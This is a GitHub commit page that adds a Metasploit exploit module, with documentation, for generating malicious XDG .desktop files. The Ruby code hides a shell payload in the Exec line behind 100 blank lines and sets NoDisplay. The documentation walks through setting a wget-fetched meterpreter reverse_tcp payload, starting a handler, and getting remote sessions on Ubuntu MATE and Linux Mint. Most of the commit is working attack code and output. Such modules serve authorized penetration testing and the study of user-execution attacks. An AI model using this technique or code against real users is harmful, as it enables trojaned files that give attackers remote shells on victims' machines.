Skip to content

Commit a7ab23d

Browse files
bcolesbcoles
committed
Add Malicious XDG Desktop File module
1 parent 04b08fb commit a7ab23d

File tree

2 files changed

+208
-0
lines changed

2 files changed

+208
-0
lines changed

‎documentation/modules/exploit/multi/fileformat/xdg_desktop.md

Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
## Vulnerable Application
2+
3+
This module creates a malicious XDG Desktop (.desktop) file.
4+
5+
On most modern systems, desktop files are not trusted by default.
6+
The user will receive a warning prompt that the file is not trusted
7+
when running the file, but may choose to run the file anyway.
8+
9+
The default file manager applications in some desktop environments
10+
may impose more strict execution requirements by prompting the user
11+
to set the file as executable and/or marking the file as trusted
12+
before the file can be executed.
13+
14+
15+
## Options
16+
17+
### FILENAME
18+
19+
The desktop file name. (Default: `msf.desktop`)
20+
21+
### APPLICATION_NAME
22+
23+
The application name. Some file managers will display this name instead of the file name. (Default: random)
24+
25+
26+
## Advanced Options
27+
28+
### PrependNewLines
29+
30+
Prepend new lines before the payload. (Default: `100`)
31+
32+
33+
## Verification Steps
34+
35+
On the Metasploit host:
36+
37+
1. Start msfconsole
38+
1. Do: `use exploit/multi/fileformat/xdg_desktop`
39+
1. Do: `set filename [filename.desktop]`
40+
1. Do: `set payload [payload]`
41+
1. Do: `set lhost [lhost]`
42+
1. Do: `set lport [lport]`
43+
1. Do: `run`
44+
1. Do: `handler -p [payload] -P [lport] -H [lhost]`
45+
46+
On the target machine:
47+
48+
1. Open the `msf.desktop` file
49+
1. If prompted, choose "Launch Anyway"
50+
51+
52+
## Scenarios
53+
54+
### Ubuntu MATE 24.04.2 (x86_64)
55+
56+
```
57+
msf > use exploit/multi/fileformat/xdg_desktop
58+
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
59+
msf exploit(multi/fileformat/xdg_desktop) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
60+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
61+
msf exploit(multi/fileformat/xdg_desktop) > set lhost 192.168.200.130
62+
lhost => 192.168.200.130
63+
msf exploit(multi/fileformat/xdg_desktop) > set lport 4444
64+
lport => 4444
65+
msf exploit(multi/fileformat/xdg_desktop) > set FETCH_COMMAND wget
66+
FETCH_COMMAND => WGET
67+
msf exploit(multi/fileformat/xdg_desktop) > run
68+
[+] msf.desktop stored at /root/.msf4/local/msf.desktop
69+
msf exploit(multi/fileformat/xdg_desktop) > handler -p cmd/linux/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
70+
[*] Payload handler running as background job 0.
71+
72+
[*] Started reverse TCP handler on 192.168.200.130:4444
73+
msf exploit(multi/fileformat/xdg_desktop) >
74+
[*] Sending stage (3090404 bytes) to 192.168.200.193
75+
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.193:52462) at 2025-07-29 03:29:10 -0400
76+
77+
msf exploit(multi/fileformat/xdg_desktop) > sessions -i -1
78+
[*] Starting interaction with 1...
79+
80+
meterpreter > sysinfo
81+
Computer : linuxmint-mate-24-04.2-desktop-amd64
82+
OS : Ubuntu 24.04 (Linux 6.14.0-24-generic)
83+
Architecture : x64
84+
BuildTuple : x86_64-linux-musl
85+
Meterpreter : x64/linux
86+
meterpreter >
87+
```
88+
89+
### Linux Mint 22.1 (MATE) (x86_64)
90+
91+
```
92+
msf > use exploit/multi/fileformat/xdg_desktop
93+
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
94+
msf exploit(multi/fileformat/xdg_desktop) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
95+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
96+
msf exploit(multi/fileformat/xdg_desktop) > set lhost 192.168.200.130
97+
lhost => 192.168.200.130
98+
msf exploit(multi/fileformat/xdg_desktop) > set lport 4444
99+
lport => 4444
100+
msf exploit(multi/fileformat/xdg_desktop) > set FETCH_COMMAND wget
101+
FETCH_COMMAND => WGET
102+
msf exploit(multi/fileformat/xdg_desktop) > run
103+
[+] msf.desktop stored at /root/.msf4/local/msf.desktop
104+
msf exploit(multi/fileformat/xdg_desktop) > handler -p cmd/linux/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
105+
[*] Payload handler running as background job 0.
106+
107+
[*] Started reverse TCP handler on 192.168.200.130:4444
108+
msf exploit(multi/fileformat/xdg_desktop) >
109+
[*] Sending stage (3090404 bytes) to 192.168.200.189
110+
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.189:35162) at 2025-07-29 02:45:34 -0400
111+
112+
msf exploit(multi/fileformat/xdg_desktop) > sessions -i -1
113+
[*] Starting interaction with 1...
114+
115+
meterpreter > sysinfo
116+
Computer : 192.168.200.189
117+
OS : LinuxMint 22.1 (Linux 6.8.0-51-generic)
118+
Architecture : x64
119+
BuildTuple : x86_64-linux-musl
120+
Meterpreter : x64/linux
121+
meterpreter >
122+
```

‎modules/exploits/multi/fileformat/xdg_desktop.rb

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GreatRanking
8+
9+
include Msf::Exploit::FILEFORMAT
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Malicious XDG Desktop File',
16+
'Description' => %q{
17+
This module creates a malicious XDG Desktop (.desktop) file.
18+
19+
On most modern systems, desktop files are not trusted by default.
20+
The user will receive a warning prompt that the file is not trusted
21+
when running the file, but may choose to run the file anyway.
22+
23+
The default file manager applications in some desktop environments
24+
may impose more strict execution requirements by prompting the user
25+
to set the file as executable and/or marking the file as trusted
26+
before the file can be executed.
27+
},
28+
'Author' => [
29+
'bcoles'
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' => [
33+
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
34+
['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/'],
35+
['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html'],
36+
['URL', 'https://wiki.archlinux.org/title/Desktop_entries']
37+
],
38+
'Platform' => %w[linux unix solaris freebsd],
39+
'Arch' => [ARCH_CMD],
40+
'Targets' => [
41+
[ 'Automatic', {} ]
42+
],
43+
'DefaultTarget' => 0,
44+
'Privileged' => false,
45+
'DisclosureDate' => '2007-02-06',
46+
'Notes' => {
47+
'Stability' => [CRASH_SAFE],
48+
'Reliability' => [REPEATABLE_SESSION],
49+
'SideEffects' => [SCREEN_EFFECTS]
50+
}
51+
)
52+
)
53+
54+
register_options([
55+
OptString.new('FILENAME', [true, 'The desktop file name.', 'msf.desktop']),
56+
OptString.new('APPLICATION_NAME', [false, 'The application name. Some file managers will display this name instead of the file name. (default is random)', '']),
57+
])
58+
59+
register_advanced_options([
60+
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the payload.', 100]),
61+
])
62+
end
63+
64+
def application_name
65+
datastore['APPLICATION_NAME'].blank? ? rand_text_alpha(6..12) : datastore['APPLICATION_NAME']
66+
end
67+
68+
def exploit
69+
values = [
70+
'Type=Application',
71+
"Name=#{application_name}",
72+
# 'Hidden=true', # This property is not supported by old systems, which prevents execution
73+
'NoDisplay=true',
74+
'Terminal=false'
75+
]
76+
desktop = "[Desktop Entry]\n"
77+
desktop << values.shuffle.join("\n")
78+
desktop << "\n"
79+
desktop << "\n" * datastore['PrependNewLines']
80+
81+
escaped_payload = payload.encoded.gsub('\\', '\\\\\\').gsub('"', '\\"')
82+
desktop << "Exec=/bin/sh -c \"#{escaped_payload}\""
83+
84+
file_create(desktop)
85+
end
86+
end

0 commit comments

Comments
 (0)